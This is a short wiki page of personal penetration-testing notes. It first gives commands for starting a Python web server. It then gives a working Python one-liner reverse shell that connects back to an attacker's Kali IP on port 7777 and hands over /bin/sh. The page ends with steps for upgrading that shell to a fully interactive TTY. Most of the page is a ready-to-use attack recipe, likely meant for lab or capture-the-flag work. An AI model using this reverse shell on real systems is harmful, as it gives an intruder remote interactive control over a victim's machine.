Skip to content
Alvin Smith edited this page Sep 8, 2020 · 18 revisions

http server

Python2

python -m SimpleHTTPServer 80 80 is the default port

Python3

python3 -m http.server the default is 8000

Get a real reverse shell instead of phpbash

  1. Another netcat listener for the below
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<Kali IP>",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
  1. However this shell still won’t do what we want it to, so we need to get full tty for an interactive shell. python -c 'import pty; pty.spawn("/bin/bash")'

  2. Optional if phase 2 not make the job done. Press CTRL+Z to put the shell in the background. Next, type this command in the same window: stty raw -echo;fg. This will bring your shell back to the foreground with a full interactive experience.

Clone this wiki locally